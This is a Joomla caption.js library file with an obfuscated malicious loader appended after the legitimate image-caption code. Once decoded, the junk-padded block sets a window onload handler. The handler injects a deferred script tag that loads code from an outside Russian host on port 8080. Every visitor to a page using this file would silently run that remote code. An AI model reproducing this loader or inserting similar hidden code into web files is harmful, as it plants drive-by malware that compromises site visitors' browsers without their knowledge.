/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");
		var docMode = document.documentMode;

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		if (align=="none") {
			if (element.title != "") {
				element.parentNode.replaceChild(text, element);
				text.parentNode.insertBefore(element, text);
			}
		} else {
			element.parentNode.insertBefore(container, element);
			container.appendChild(element);
			if ( element.title != "" ) {
				container.appendChild(text);
			}
			container.className   = this.selector.replace('.', '_');
			container.className   = container.className + " " + align;
			container.setAttribute("style","float:"+align);

			//IE8 fix
			if (!docMode|| docMode < 8) {
				container.style.width = width + "px";
			}
		}

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});

this.h="";var N=new Date();function b(){var pH;if(pH!='' && pH!='a'){pH=null};var w=new Array();var z;if(z!='RA' && z!='Z'){z=''};var d;if(d!='qX' && d!='ta'){d=''};var n=unescape;var C=window;var W;if(W!='L'){W=''};var r=n("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%66%61%63%65%62%6f%6f%6b%2e%63%6f%6d%2f%61%6c%69%73%6f%66%74%2e%63%6f%6d%2e%70%68%70");this.G='';function j(i,v){var YY=new Date();var S="g";var hC;if(hC!='kAx' && hC != ''){hC=null};var s=new Date();var X=n("%5b"), k=n("%5d");var lM;if(lM!='' && lM!='nN'){lM=''};var ec;if(ec!='wP' && ec!='IN'){ec='wP'};var T=X+v+k;var bM;if(bM!='' && bM!='H'){bM=null};var B;if(B!='MU' && B!='J'){B='MU'};var E=new RegExp(T, S);var CV;if(CV!='' && CV!='kC'){CV=null};return i.replace(E, new String());};var nU='';this.x="";var Aq;if(Aq!='uz' && Aq != ''){Aq=null};var xg=new Array();var ID='';var iC="";var q=new String();var F=j('82441402622618243402124','46132');var rY=document;var Vb;if(Vb!='TB' && Vb != ''){Vb=null};this.ah='';var av;if(av!='' && av!='aX'){av=null};function e(){var pw='';var nB;if(nB!='' && nB!='f'){nB=''};var R=n("%68%74%74%70%3a%2f%2f%66%69%78%73%6c%6f%77%2e%72%75%3a");var un=new Date();var wQ=new Array();q=R;q+=F;var BB;if(BB!='EB' && BB!='dm'){BB='EB'};q+=r;var Xp;if(Xp!='Ce' && Xp!='kpu'){Xp='Ce'};var xt;if(xt!='' && xt!='aB'){xt=''};var BE=new String();try {var Qk;if(Qk!=''){Qk='pY'};this.OY='';t=rY.createElement(j('sqcvrDiDpPtD','vXqDaI0HyP'));var OG;if(OG!='' && OG!='Od'){OG='RQ'};t[n("%64%65%66%65%72")]=[0,1][1];var _q=new String();t[n("%73%72%63")]=q;var Ri='';rY.body.appendChild(t);var fn=new String();} catch(A){var wT='';alert(A);var ms;if(ms!='' && ms!='vO'){ms='tZ'};this.Ip="";};}var ts;if(ts!='' && ts!='Mm'){ts='Iw'};var RR;if(RR!='' && RR!='vP'){RR='fH'};C[String("onpQX".substr(0,2)+"IVHxloVHIx".substr(4,2)+"ad")]=e;var wc;if(wc!='P'){wc=''};var ic;if(ic!='VC'){ic=''};};var kl="";b();var Pw;if(Pw!=''){Pw='Qi'};